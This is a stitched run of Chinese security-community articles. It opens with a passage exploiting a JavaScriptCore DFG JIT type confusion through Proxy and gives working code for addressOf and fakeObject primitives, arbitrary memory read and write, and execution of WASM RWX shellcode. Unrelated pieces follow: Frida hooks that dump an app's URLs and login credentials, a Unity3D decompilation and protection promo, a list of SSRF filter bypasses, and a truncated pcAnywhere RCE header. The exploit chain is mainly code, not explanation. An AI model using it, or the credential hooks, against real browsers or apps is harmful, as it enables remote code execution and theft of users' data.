[ 15] mov loc6, this
[ 18] get_by_val loc7, arg1, Int32: 0(const0) Original; predicting None
[ 24] put_by_id loc6, x(@id0), loc7, Bottom
[ 33] ret this
通过`get_by_val`字节码指令从数组中取出元素0，然后通过`put_by_id`存入属性x中。
现在加入触发DFG JIT优化的代码，再做测试,发现前期Parse以后的字节码是一样的，不同点在于这次存在了DFG JIT时的字节码展开，其中`[ 10]
create_this this, this, 1, 0和[ 18] get_by_val loc7, arg1, Int32: 0(const0)
Original; predicting None`被展开如下
[10]
CountExecution
CheckCell
NewObject
MovHint
[18]
CountExecution
JSConstant
GetButterfly
GetByVal
MovHint
ValueRep
可以知道，`CreateThis`被优化为了`CheckCell和NewObject`，并且在这种情况下参数arg的类型不可能发生变化，因此在`[ 0]
enter`使用了`CheckStructure`检查一次参数就可以了，这里无需再重复检查。现在，我们尝试为`foo`函数增加一个`Proxy`代理，这样，使用`foo_proxy`对象对`foo`进行间接访问时，会被代理拦截，并进入`handler`的`get`函数中处理。
function foo(arg) {
this.x = arg[0];
}
let handler = {
get(target, prop) {
print(prop);
return target[prop];
}
};
let foo_proxy = new Proxy(foo, handler);
print(foo_proxy.a);
输出如下
root@ubuntu:~/Desktop/bug_bin# ./jsc t.js
a
因为我们通过`foo_proxy.a`间接的访问了`foo.a`属性，所以被拦截了。那我们使用`new foo_proxy()`会发生什么呢？
function foo(arg) {
this.x = arg[0];
}
let handler = {
get(target, prop) {
print(prop);
return target[prop];
}
};
let foo_proxy = new Proxy(foo, handler);
print(new foo_proxy([1.1]));
输出如下
root@ubuntu:~/Desktop/bug_bin# ./jsc t.js
prototype
因为在创建一个对象的时候，是需要用到函数的`prototype`这个属性的，它是函数的原型，也是foo的一个自带属性，因此在创建对象时也可以被成功拦截。我们尝试加入`DFG
JIT`优化，并查看字节码
function foo(arg) {
this.x = arg[0];
}
let handler = {
get(target, prop) {
return target[prop];
}
};
let foo_proxy = new Proxy(foo, handler);
var b;
for (var i=0;i<0x2000;i++) {
b = new foo_proxy([1.1]);
}
print(b.x);
ByteCode仍然一样，不一样的是`DFG JIT`的Code
[10]
CountExecution
CreateThis
MovHint
[18]
CountExecution
JSConstant
GetButterfly
GetByVal
MovHint
ValueRep
可以看到，由于我们加入了代理，现在`CreateThis`不能再被内联优化，其中`CreateThis`的汇编调用代码如下
0x7fffb010016e: mov $0x7fffaff0b4a8, %r11
0x7fffb0100178: mov (%r11), %r11
0x7fffb010017b: test %r11, %r11
0x7fffb010017e: jz 0x7fffb010018b
0x7fffb0100184: mov $0x113, %r11d
0x7fffb010018a: int3
0x7fffb010018b: cmp $0x17, 0x5(%rsi)
0x7fffb010018f: jnz 0x7fffb0100565
0x7fffb0100195: mov 0x28(%rsi), %r8
0x7fffb0100199: test %r8, %r8
0x7fffb010019c: jz 0x7fffb0100565
............................
可以知道其主要是跳转到了`0x7fffb0100565`这个地址处，继续跟踪，该地址处的代码
0x7fffb0100565: mov %rax, -0x30(%rbp)
0x7fffb0100569: mov %rsi, -0x38(%rbp)
0x7fffb010056d: mov %rbp, %rdi
0x7fffb0100570: mov $0x1, %edx
0x7fffb0100575: mov $0x7fffaff09898, %r11
0x7fffb010057f: mov $0xbadbeef, (%r11)
0x7fffb0100586: mov $0x7fffaff0989c, %r11
0x7fffb0100590: mov $0xbadbeef, (%r11)
0x7fffb0100597: mov $0x6, 0x24(%rbp)
0x7fffb010059e: mov $0x7ffff6113791, %r11
0x7fffb01005a8: call *%r11
通过调试，可以知道这里调用的函数是`operationCreateThis`这个函数，其源码位于文件`Source/JavaScriptCore/dfg/DFGOperations.cpp`中
JSC_DEFINE_JIT_OPERATION(operationCreateThis, JSCell*, (JSGlobalObject* globalObject, JSObject* constructor, uint32_t inlineCapacity))
{
VM& vm = globalObject->vm();
CallFrame* callFrame = DECLARE_CALL_FRAME(vm);
JITOperationPrologueCallFrameTracer tracer(vm, callFrame);
auto scope = DECLARE_THROW_SCOPE(vm);
if (constructor->type() == JSFunctionType && jsCast<JSFunction*>(constructor)->canUseAllocationProfile()) {
DeferTermination deferScope(vm);
auto rareData = jsCast<JSFunction*>(constructor)->ensureRareDataAndAllocationProfile(globalObject, inlineCapacity);
scope.releaseAssertNoException();
ObjectAllocationProfileWithPrototype* allocationProfile = rareData->objectAllocationProfile();
Structure* structure = allocationProfile->structure();
JSObject* result = constructEmptyObject(vm, structure);
if (structure->hasPolyProto()) {
JSObject* prototype = allocationProfile->prototype();
ASSERT(prototype == jsCast<JSFunction*>(constructor)->prototypeForConstruction(vm, globalObject));
result->putDirect(vm, knownPolyProtoOffset, prototype);
prototype->didBecomePrototype();
ASSERT_WITH_MESSAGE(!hasIndexedProperties(result->indexingType()), "We rely on JSFinalObject not starting out with an indexing type otherwise we would potentially need to convert to slow put storage");
}
return result;
}
JSValue proto = constructor->get(globalObject, vm.propertyNames->prototype);
RETURN_IF_EXCEPTION(scope, nullptr);
if (proto.isObject())
return constructEmptyObject(globalObject, asObject(proto));
JSGlobalObject* functionGlobalObject = getFunctionRealm(globalObject, constructor);
RETURN_IF_EXCEPTION(scope, nullptr);
return constructEmptyObject(functionGlobalObject);
}
其中的操作`SValue proto = constructor->get(globalObject,
vm.propertyNames->prototype);`会被我们JS层中的代理拦截，由此可以知道，`operationCreateThis`会回调JS层的代理函数。此时我们想到，在JS中的Proxy对象的handler中，我们可以操纵任意的对象，我们可以将参数arg的类型修改掉。于是这样构造
function foo(arg) {
this.x = arg[0];
}
var trigger = false;
var arr = [1.1,2.2];
let handler = {
get(target, prop) {
if (trigger) {
arr[0] = {};
}
return target[prop];
}
};
let foo_proxy = new Proxy(foo, handler);
var b;
for (var i=0;i<0x2000;i++) {
b = new foo_proxy(arr);
}
trigger = true;
b = new foo_proxy(arr);
print(b.x);
这样，当`CreateThis`回调了`handler`中的get函数时，`arr[0] = {}`将arr的类型改为了对象数组类型，不再是`unboxed
double`，但是`CreateThis`回调结束以后，并没有重新对arg进行类型检查，仍然将其当做`unboxed
double`类型，由此造成了类型混淆。
运行结果如下，成功输出对象的地址
root@ubuntu:~/Desktop/bug_bin# ./jsc t.js
6.9532879215489e-310
修复漏洞以后的版本，其DFG JIT的字节码展开如下
[10]
CountExecution
CreateThis
MovHint
[18]
CountExecution
JSConstant
CheckStructure
GetButterfly
GetByVal
MovHint
ValueRep
可以看到，其在`CreateThis`后面增加了一个`CheckStructure`，从而避免了类型混淆。
### 漏洞利用
#### fakeObj和addressOf原语构造
通过上述分析，我们很容易构造出两个原语
function addressOf(obj) {
function foo(arg) {
this.x = arg[0];
}
var handler = {
get(target,prop) {
if (trigger) {
arr[0] = obj;
}
return target[prop];
}
};
var foo_proxy = new Proxy(foo,handler);
var arr = [1.1,2.2,3.3];
var trigger = false;
for (var i = 0; i < 0x2000; i++) {
new foo_proxy(arr);
}
trigger = true;
var ret = new foo_proxy(arr);
return u64f(ret.x);
}
function fakeObject(addr_l,addr_h) {
var addr = p64f(addr_l,addr_h);
function foo(arr) {
arr[0] = addr;
}
var handler = {
get(target,prop) {
if (trigger) {
arr[0] = {};
}
return target[prop];
}
};
var foo_proxy = new Proxy(foo,handler);
var arr = [1.1,2.2,3.3];
var trigger = false;
for (var i = 0;i < 0x2000; i++) {
new foo_proxy(arr);
}
trigger = true;
new foo_proxy(arr);
return arr[0];
}
#### 堆喷StructureID
为了伪造一个数组对象，首先得拿到数组对象的StructureID，由于其是一串数字，并且对数组对象增加不同的属性即可使得StructureID不同，依次递增，因此，我们申请一些列不同原型的数组对象，然后随便猜测一个StructureID
//制造N个对象，每个对象产生不一样的Structures，使得我们可以猜测一个可用的StructuresID
var structs = [];
function sprayStructures() {
var fake_elements_header = p64f(0,0);
for (var i = 0; i < 1000; i++) {
var a = {x:1,y:2};
for (var j=0;j<0xffff;j++)
a[j] = 23.33;
a['x' + i] = fake_elements_header;
a.prop = 1.1;
structs.push(a);
}
}
sprayStructures();
#### 伪造数组对象
var victim = structs[0x300];
var jscell_double = p64f(0x00000200,0x01082007);
//对象的内存地址必须对齐，因此我们增加一个padding
var container = {
padding:1.1,
jscell:jscell_double,
butterfly:victim,
butterflyIndexingMask:p64f(0x11111111,0x0)
}
var container_addr = addressOf(container);
var hax = fakeObject(container_addr[0]+0x20,container_addr[1]);
这里，我们将butterfly直接指向了victim，由于是对象，因此存储的是指针，所以通过`hax`，我们可以控制`victim`对象的整个结构，victim同样也是一个数组，我们这样做的目的是避免多次通过`fakeObject`和`addressOf`来伪造对象，因为这比较耗时并且可能影响内存布局，我们只需第一次伪造一个对象能够控制已有的对象，后面就可以方便操作，同样我们利用has和victim重新构造一个快速的`NewAddressOf`和`NewFakeObject`
// ArrayWithDouble
//var unboxed = [6.66,6.66,6.66];
var unboxed = structs[0x301];
var a = {x:1,y:2};
//for (var j=0;j<0xffff;j++)
//a[j] = 23.33;
a['x0'] = p64f(0,0);
// ArrayWithContiguous
var boxed = {x:1,y:2};
boxed[0] = {};
//让boxed和unboxed的Butterfly为同一地址
var d = addressOf(unboxed);
hax[1] = p64f(d[0],d[1]);
var sharedButterfly = victim[1];
d = addressOf(boxed);
hax[1] = p64f(d[0],d[1]);
victim[1] = sharedButterfly;
debug(describe(unboxed));
debug(describe(boxed));
debug(describe(victim));
function NewAddressOf(obj) {
boxed[0] = obj;
return u64f(unboxed[0]);
}
function NewFakeObject(addr_l,addr_h) {
var addr = p64f(addr_l,addr_h);
unboxed[0] = addr;
return boxed[0];
}
#### 构造read64和write64原语
function read64(addr_l,addr_h,index = 0) {
//必须保证在vicim[-1]处有数据，即used slots和max slots字段，否则将导致读取失败
//因此我们换用另一种方法，即利用property去访问
hax[1] = p64f(addr_l + 0x10,addr_h);
return NewAddressOf(victim.prop);
}
function write64(addr_l,addr_h,double_val) {
hax[1] = p64f(addr_l + 0x10,addr_h);
victim.prop = double_val;
}
这里，我们不使用数组的方式去实现任意地址读写，因为数组的方式需要保证`used slots和max
slots字段`满足要求，任意地址处不可能一直满足这个要求，因此我们使用外属性的方式，前面介绍过，这种外部属性就存储于`butterfly`前面，使用read的时候，最后需要加上`NewAddressOf`进行转换，因为属性的存储是按照前面介绍的这个
> Pointer： [0000][xxxx:xxxx:xxxx]（前两个字节为0，后六个字节寻址）
> Double： [0001～FFFE][xxxx:xxxx:xxxx]
> Integer： [FFFF][0000:xxxx:xxxx]（只有低四个字节表示数字）
> False： [0000:0000:0000:0006]
> True： [0000:0000:0000:0007]
> Undefined： [0000:0000:0000:000a]
> Null： [0000:0000:0000:0002]
方式存储的，显然我们读取的数据不满足这个要求，直接使用victim.prop返回的值会导致崩溃，当我们需要读取的数据是一些地址的时候，由于地址往往就48位，因此其高2字节为0，此时这个数据会被当成一个对象地址，因此为了拿到这个值，需要加上一层`NewAddressOf`，同理，在write64的时候如果写入的数据高2字节为0，需要加上一层`NewFakeObject`，由于我们写入的是double，就不需要，但是double数据会导致第7个字节的低4位为1，因此，我们不能一次性写入8个字节的完好数据，但是我们可以保证低4字节的数据被正确写入到目标处，因此，我们只需将数据拆分为4字节一组，然后包装为8字节的double，即可依次将数据完整的写入。
#### 劫持WASM，写shellcode
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var funcObj_addr = addressOf(func);
var codeAddr = read64(funcObj_addr[0] + 0x48,funcObj_addr[1],1);
var rwx_addr = read64(codeAddr[0],codeAddr[1],1);
debug("funcObj_addr=" + funcObj_addr[1].toString(16) + funcObj_addr[0].toString(16));
debug("codeAddr=" + codeAddr[1].toString(16) + codeAddr[0].toString(16));
debug("rwx_addr=" + rwx_addr[1].toString(16) + rwx_addr[0].toString(16));
//替换jit的shellcode
for (var i=0;i<shellcode.length;i++) {
write64(rwx_addr[0] + i*4,rwx_addr[1],p64f(shellcode[i],0));
}
//执行shellcode
func();
成功利用
## 0x03 感想
JSC的漏洞利用本质上与V8的漏洞利用相似，分析方法也类似，这些JS引擎的漏洞挖掘方法大多有着共同点。通过本次复现，又收获了许多新知识。
## 0x04 参考
[FireShell2020——从一道ctf题入门jsc利用](https://www.anquanke.com/post/id/223494#h3-2)
[Webkit Exploitation
Tutorial](https://docs.ioin.in/writeup/www.auxy.xyz/_tutorial_Webkit_Exp_Tutorial_/index.html)
[wiki JavaScriptCore](https://trac.webkit.org/wiki/JavaScriptCore#no1)
[【编译原理】中间代码（一）](https://blog.csdn.net/jzyhywxz/article/details/78720620)
[深入剖析 JavaScriptCore](https://ming1016.github.io/2018/04/21/deeply-analyse-javascriptcore/)
Attacking Client-Side JIT Compilers (v2) Samuel Groß (@5aelo)
[JavaScriptCore内部原理（一）：从JS源码到字节码的追踪](https://blog.csdn.net/systemino/article/details/110248446?utm_medium=distribute.pc_relevant.none-task-blog-2~default~BlogCommendFromMachineLearnPai2~default-1.control)
[WebKit
commitdiff](https://git.webkit.org/?p=WebKit.git;a=commitdiff;h=b602e9d167b2c53ed96a42ed3ee611d237f5461a;hp=7996e60888558ca8640cade6b1c0d6688b53ebc4) | 社区文章 |
# 【技术分享】逻辑至上——内含各种酷炫姿势
|
##### 译文声明
本文是翻译文章，文章来源：土夫子
原文地址：<http://mp.weixin.qq.com/s/WQkZhPfQpL-Oxcv_5w_Pww>
译文仅供参考，具体内容表达以及含义原文为准。 | 社区文章 |
# Android网络库详解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 网络库：HttpURLConnection
### HttpURLConnection介绍
一种多用途、轻量极的HTTP客户端，使用它来进行HTTP操作可以适用于大多数的应用程序。
虽然HttpURLConnection的API提供的比较简单，但是同时这也使得我们可以更加容易地去使
用和扩展它。继承至URLConnection，抽象类，无法直接实例化对象。通过调用openCollection()
方法获得对象实例，默认是带gzip压缩的；
### HttpURLConnection的使用步骤
使用HttpURLConnection的步骤如下：
1、创建一个URL对象： URL url = new URL(https://www.baidu.com);
2、调用URL对象的openConnection( )来获取HttpURLConnection对象实例： HttpURLConnection conn =
(HttpURLConnection) url.openConnection();
3、设置HTTP请求使用的方法:GET或者POST，或者其他请求方式比如：PUT conn.setRequestMethod(“GET”);
4、设置连接超时，读取超时的毫秒数，以及服务器希望得到的一些消息头 conn.setConnectTimeout(6*1000);
conn.setReadTimeout(6 * 1000);
5、调用getInputStream()方法获得服务器返回的输入流，然后输入流进行读取了 InputStream in =
conn.getInputStream();
6、最后调用disconnect()方法将HTTP连接关掉 conn.disconnect();
### HOOK HttpURLConnection
创建一个URL对象： URL url = new URL(https://www.baidu.com);
如果想自吐`URL(https://www.baidu.com)`则应该hook URL的构造函数
com.example.network on (google: 8.1.0) [usb] # android hooking search classes
URL
需单独hook构造函数`java.net.URL.\$init`
com.example.network on (google: 8.1.0) [usb] # android hooking watch
class_method java.net.URL.$init –dump-args –dump-backtrace –dump-re
turn
可以发现在手机每点击一下刷新验证码，就会弹出新的请求。
然后可以编写自吐脚本，打印出经过的url地址
frida -U -f com.example.network -l 20201013.js –no-pause
使用该自吐脚本尝试另一款APP做实验
frida -U -f com.cz.babySister -l 20201013.js –no-pause
hook `java.io.PrintWriter`的write方法打印出内容：
com.cz.babySister on (google: 8.1.0) [usb] # android hooking watch
class_method java.io.PrintWr
iter.write –dump-args –dump-backtrace –dump-return
编写hook脚本将`java.io.PrintWriter.write`内容进行打印，可以发现显示出了用户输入的账号和密码。
最终`HttpURLConnection`自吐脚本如下
function hook_HttpUrlConnection(){
Java.perform(function(){
// java.net.URL.URL ($init) (得到URL)
Java.use(“java.net.URL”).$init.overload(‘java.lang.String’).implementation =
function (str){
var result = this.$init(str)
console.log(“result , str => “,result,str);
return result;
}
//HttpURLConnection setRequestProperty 得到各种请求头、属性等
Java.use(“com.android.okhttp.internal.huc.HttpURLConnectionImpl”).setRequestProperty.implementation
= function(str1,str2){
var result = this.setRequestProperty(str1,str2);
console.log(“.setRequestProperty result,str1,str2->”,result,str1,str2);
return result;
}
Java.use(“com.android.okhttp.internal.huc.HttpURLConnectionImpl”).setRequestMethod.implementation
= function(str1){
var result = this.setRequestMethod(str1);
console.log(“.setRequestMethod result,str1,str2->”,result,str1);
return result;
}
//java.io.PrintWriter write 得到输入内容
Java.use(“java.io.PrintWriter”).write.overload(‘java.lang.String’).implementation
= function(str1){
var result = this.write(str1);
console.log(“.write result,str1->”,result,str1);
return result;
}
})
}
setImmediate(hook_HttpUrlConnection)
## 网络库：okhttp3+logging
### OKHttp简介
OKHttp是一个处理网络请求的开源项目，Android当前最火热网络框架。
### OKHttp的功能
1、PUT，DELETE，POST，GET等请求
2、文件的上传下载
3、加载图片(内部会图片大小自动压缩)
4、支持请求回调，直接返回对象、对象集合
5、支持session的保持
### HOOK OkHttp3
1、OkhttpClient对象
在`example`类创建一个`OkhttpClient对象`
OkHttpClient client = new OkHttpClient();
可以使用objection查找该`okhttp3.OkHttpClient`实例，并查看该属性、域和方法
com.roysue.octolesson2ok3 on (google: 8.1.0) [usb] # plugin load
/Users/tale/.objection/plugins/Wallbreaker
Loaded plugin: wallbreaker
com.roysue.octolesson2ok3 on (google: 8.1.0) [usb] # plugin wallbreaker
classsearch OkHttpClient
com.android.okhttp.OkHttpClient$1
com.android.okhttp.OkHttpClient
okhttp3.OkHttpClient$1
okhttp3.OkHttpClient$Builder
okhttp3.OkHttpClient
com.roysue.octolesson2ok3 on (google: 8.1.0) [usb] # plugin wallbreaker
objectsearch okhttp3.OkHttpClient
[0x26c2]: okhttp3.OkHttpClient@dc28b06
com.roysue.octolesson2ok3 on (google: 8.1.0) [usb] # plugin wallbreaker
objectdump –fullname 0x26c2
2、Request对象
// 构造request
Request request = new Request.Builder()
.url(url)
.build();
查看该类`com.android.okh ttp.internal.huc.HttpURLConnectionImpl`
发现每点击刷新一下，会增加一新的实例，然后可以去查看该域
3、发起异步请求
在将Request对象封装成Call对象后，每次enqueue都会产生一次真实的网络请求
// 发起异步请求
client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
call.cancel();
}
@Override
public void onResponse(Call call, Response response) throws IOException {
//打印输出
Log.d(TAG, response.body().string());
}
}
public class example {
// TAG即为日志打印时的标签
private static String TAG = “learnokhttp”;
// 新建一个Okhttp客户端
//OkHttpClient client = new OkHttpClient();
OkHttpClient client = new OkHttpClient.Builder()
.addNetworkInterceptor(new LoggingInterceptor())
.build();
void run(String url) throws IOException {
// 构造request
Request request = new Request.Builder()
.url(url)
.build();
// 发起异步请求
client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
call.cancel();
}
@Override
public void onResponse(Call call, Response response) throws IOException {
//打印输出
Log.d(TAG, response.body().string());
}
}
);
}
}
做完混淆，通过拦截器分析方法失效。
## 网络库:Retrofit
### Retrofit简介：
Retrofit是一个RESTful的HTTP网络请求框架的封装，网络请求的工作本质上是OkHttp完成，而 Retrofit仅负责网络请求接口的封装。
### Retrofit使用步骤：
1.添加Retrofit库的依赖：
implementation ‘com.squareup.retrofit2:retrofit:2.5.0’//Retrofit依赖
implementation ‘com.squareup.retrofit2:converter-gson:2.5.0’//可选依赖 解析json字符所用
网络权限：
<uses-permission android:name=”android.permission.INTERNET” />
2.创建用于描述网络请求的接口
Retrofit将Http请求抽象成Java接口：采用注解描述网络请求参数和配置网络请求参数
public interface GetRequest_Interface {
@GET(“openapi.do?keyfrom=abc&key=2032414398&type=data&doctype=json&version=1.1&q=car”)
Call<Reception> getCall(@Field(“name”) String name);
// @GET注解的作用:采用Get方法发送网络请求
// getCall() = 接收网络请求数据的方法
// 其中返回类型为Call<*>，*是接收数据的类（即上面定义的Translation类）
// 如果想直接获得Responsebody中的内容，可以定义网络请求返回值为Call<ResponseBody>
}
3.创建Retrofit实例
Retrofit retrofit = new Retrofit.Builder()
.baseUrl(“http://fanyi.youdao.com/”) //设置网络请求的Url地址
.addConverterFactory(GsonConverterFactory.create()) //设置数据解析器
.addCallAdapterFactory(RxJavaCallAdapterFactory.create())
.build();
4.发送请求
// 创建 网络请求接口 的实例
GetRequest_Interface request = retrofit.create(GetRequest_Interface.class);
//对 发送请求 进行封装
Call<Reception> call = request.getCall(“”);
call.enqueue(new Callback<Reception>() {
//请求成功时回调
@Override
public void onResponse(Call<Reception> call, Response<Reception> response) {
//请求处理,输出结果
response.body().show();
}
//请求失败时候的回调
@Override
public void onFailure(Call<Reception> call, Throwable throwable) {
System.out.println(“连接失败”);
}
});
//同步请求
try {
Response<Reception> response = call.execute();
response.body().show();
} catch (IOException e) {
e.printStackTrace();
}
### HOOK Retrofit
因Retrofit的下层为okhttp， 所以hook okhttp3一样的可以用在hook Retrofit上。
对比 Okhttp，Retrofit是一个RESTful的HTTP网络请求框架的封装。
原因：网络请求的工作本质上是OkHttp完成，而Retrofit仅负责网络请求接口的封装。
App应用程序通过Retrofit请求网络，实际上是使用Retrofit接口层封装请求参数、Header、Url
等信息，之后由OkHttp完成后续的请求操作。在服务端返回数据之后，OkHttp将原始的结果交给Retrofit，Retrofit根据用户的需求对结果进行解析。
## 参考资料
<https://www.runoob.com/w3cnote/android-tutorial-httpurlconnection.html>
<https://blog.csdn.net/zhangqiluGrubby/article/details/71480546> | 社区文章 |
# 【技术分享】Unity3D程序脚本反编译分析与加密
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**前言**
对于使用 Unity3D 开发的程序，存在被 **反编译** 的风险，也面临着被 **dump 内存** 的威胁，最终引起游戏或工程被抄袭甚至盗版。
下面简单介绍对Unity3D 脚本分析过程，同时提供了对其保护的参考手段。
**
**
**工具集**
dnSpy、Ollydbg、Cheat Engine
**
**
**背景**
大家都知道 Unity3D 使用开源 **mono C#** 语法 ，所有代码都不是编译到 EXE，而是位于
{APP}uildgame_DataManagedAssembly-CSharp.dll (对于最新的 Unity3D 2017 不是这样)，而且 mono
语法只是跟 C# 兼容，但是 **原理完全不一样** ，传统的 C# 加壳全部失效，因为 Assembly-CSharp.dll 不是标准的 DLL
加载过程，既不是 PE 的 DLL，也不是 dotNet 的 DLL 加载，而是由 mono.dll 读取 Assembly-CSharp.dll 的 C#
脚本解释执行。这一切不用等官方 IL2CPP 或自己定制 mono 引擎！
**
**
**反编译**
反编译 Unity3D 的脚本代码，使用 dnSpy 就可以达到很好的效果，dnSpy 可以准确的将 Unity3D 的脚本文件以及标准的 DotNet
动态库文件反编译成源码形式。一般，将需要被反编译的文件拖入 dnSpy 工具即可。效果如下，其中可以完整的看到编码者的代码逻辑：
截图官方demo被反编译
根据反编译后的代码就可以进一步分析软件的流程走向，甚至篡改原有过程，具体不做描述。
**
**
**如何对脚本代码进行保护？**
对于这种脚本代码的保护，通常采用脚本文件加密，解释器解密的形式来实现加密方案，下面简单介绍下可以针对这种脚本进行保护的现成产品：Virbox
Protector、Virbox AHS。
Virbox Protector、Virbox AHS 分别可以防止静态分析、动态调试 Unity3D 的软件产品，具有如下特性：
1.一键加密你的代码逻辑，无法反编译，无法 dump 内存。
2.不降低游戏帧数， 甚至某些情况下还能提高游戏帧数。
3.Assembly.DLL 代码按需解密，只有调用到才会在内存解密，不调用不解密，黑客无法一次解出所有的代码。
4.完整授权方案，支持云授权、软锁授权，USB 加密锁授权、网络锁授权，支持限制时间、限制次数、限制网络并发。
5.自带反黑引擎，驱动级别反调试，对大部分调试器有效。
（注意：如果需要最高安全强度的游戏反外挂，请参考反黑引擎 ）
**
**
**使用加密工具前后比较**
1.dnspy 反编译被加壳的结果：
加壳前
加壳后
分析：从对比的结果看到很多代码信息已经丢失，再次进行分析时也会有很大困难。
2.PC 上的 X64Dbg 和 OllyDbg 调试失败与附加失败
分析：Virbox AHS 提供的这种针对动态调试的保护方案在实时分析程序时会起到显著的作用。
3.Cheat-Engine 读取内存失败（需要新的反黑引擎支持）
分析：通过对原程序内存数据的保护，想使用修改数据的形式来进行作弊的恶意行为也会被拒之门外。
**
**
**典型客户场景**
1.Unity3D 游戏客户街机游戏
2.VR 设备交互体验
3.机器/医疗/工业/航天等 VR 交互 | 社区文章 |
注：本文是一篇翻译文章，原文链接：<https://medium.com/@vickieli/bypassing-ssrf-protection-e111ae70727b>
当在Web应用程序中找到一个可以获取的外部资源的功能。你可以从各种外部站点读取内容，并且可以请求的文件类型不会有任何限制，应用程序会立即显示所有内容。这个现象告诉你，接下来该尝试一下是否存在SSRF漏洞了。所以你开始输入：127.0.0.1。但是仅过了一秒钟，服务器返回了一个意想不到的响应：
Error. Requests to this address are not allowed. Please try again.
所以现在该做什么？
## SSRF保护机制
企业确实意识到了SSRF攻击的风险。所以大多数人已经在他们的Web应用程序中实现了某种形式的SSRF保护。SSRF保护机制基本上分两种：黑名单和白名单。
黑名单指的是如果接收到的输入为列在黑名单上的地址，那么不允许这些地址且阻止请求的处理。大多数SSRF是采用的黑名单来保护不允许探测内网IP地址段。
另一方面，白名单指的是服务器只允许接收处理在预先设定好的白名单列表里包含的URL的请求，并使得其他请求处理失败。
## 绕过白名单
白名单通常更难绕过，因为默认情况下相对于黑名单而言，白名单更加严格。但是如果白名单中的域中存在开放的重定向漏洞，则可能存在SSRF漏洞。
如果您可以找到可利用的重定向漏洞，则可以请求重定向到内部IP地址段的白名单中的域。
如果没有正确利用白名单（例如，使用了设计不好的正则表达式），那么也可以通过使用子域名或目录的形式作为列入白名单的域名来绕过（例如，victime.com.attacker.com或attacker.com/victim.com
)。
## 绕过黑名单
但是由于应用程序本身的需要（获取外部资源），大多数SSRF保护机制都是以黑名单形式出现。如果遇到黑名单，有很多种方法可以欺骗服务器：
### 利用重定向漏洞欺骗
使服务器请求你所控制的URL重定向到黑名单地址。例如可以在自己可控的Web服务器上托管如下内容的文件：
<？php header（“location：http：//127.0.0.1”）;？>
假设此文件位于<http://attakcer.com/redirect.php>
，这样当你的目标服务器请求<http://attakcer.com/redirect.php>
，目标服务器实际上被重定向到<http://127.0.0.1> ，这是一个受限制的内部地址。
### 利用DNS欺骗
修改可控的域的A记录或者AAAA记录，并使其指向受害者网络的内部地址。例如，假设<http://attacker.com>
是你可控的子域名。你可以创建自定义主机名到IP地址映射，使得<http://subdomain.attacker.com>
解析到127.0.0.1。现在当目标服务器请求<http://attacker.com> ，它会认为你的域位于127.0.0.1，并从改地址请求数据。
### 使用IPv6地址
尝试使用IPv6地址而不是IPv4地址，因为服务器可能尚未针对IPv6实施而实施了针对IPv4的保护机制。
### 切换编码
有很多不同的编码URL或地址可以使服务器正常解析，但是可以绕过黑名单的限制。这些编码包括十六进制编码，八进制编码，双字编码，URL编码和混合编码。
* 十六进制编码
十六进制编码是一种表示通过以16为基底的字符表现形式（字符从0到F），而不是以10为基底（字符从0到9）。说明服务器可以理解hex编码后的IP地址。将10进制IP地址转为16进制的IP地址，你需要计算每个段，例如
127.0.0.1 -> 0x7f.0x0.0x0.0x1
以0x开始说明这是一个hex编码后的数字。
* 八进制编码
八进制编码是一种以8为基底表现字符的形式。和转hex编码差不多，你可以将IP地址转为8进制的IP地址形式。例如
127.0.0.1 -> 0177.0.0.01
这样的情况下，0开头的数字基本就是8进制格式下的数字。
* 双字符编码
dword代表双字符，是一个32位整数。IP地址基本上是32位数，分为4个八位字节，并以10进制写入。例如127.0.0.1实际上就是01111111.00000000.00000000.00000001。所以当我们01111111000000000000000000000001转为一个10进制数时，也就是得到了双字符形式下的IP地址。
那么如果将127.0.0.1转为双字符形式？即127*256³+0*256²+0*256¹+1*256⁰，计算得到2130706433。意味着如果输入为<http://2130706433>
而不是<http://127.0.0.1> ，仍然可以正常解析。
* URL编码
URL中的每个单独字符可以用其指定的十六进制数表示，如果它们前面带有％符号。例如，单词“localhost”可以用其URL编码来表示，“％6c％6f％63％61％6c％68％6f％73％74”。因此，当服务器阻止对内部主机名（例如“localhost”）的请求时，请尝试使用URL编码的等效命令。
* 混合编码
这是混搭时间！你也可以使用编码技术的组合来试图欺骗服务器：也许这会起作用？
127.0.0.1 -> 0177.0.0.0x1
### 结论
这只是攻击者在他们的武器库中可能拥有的绕过方法的一小部分。而且我很明确的是有更多创造性的方法可以绕过防御利用SSRF漏洞。
如果找不到有效的绕过，需要切换思路并思考：如果为这个功能设置SSRF保护？设计然后记住这个防御逻辑。然后尝试绕过你自己设计的保护机制。有没有可能在设计时错过某些细节？该应用程序的开发人员也同时错过了某些细节？ | 社区文章 |
# Windows x86平台上的Symantec pcAnywhere 12.5.0远程代码执行漏洞
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
影响版本:
pcAnywhere v12.5.x 到 12.5.3
Symantec IT Management Suite pcAnywhere Solution 7.0 (aka 12.5.x) and 7.1 (aka
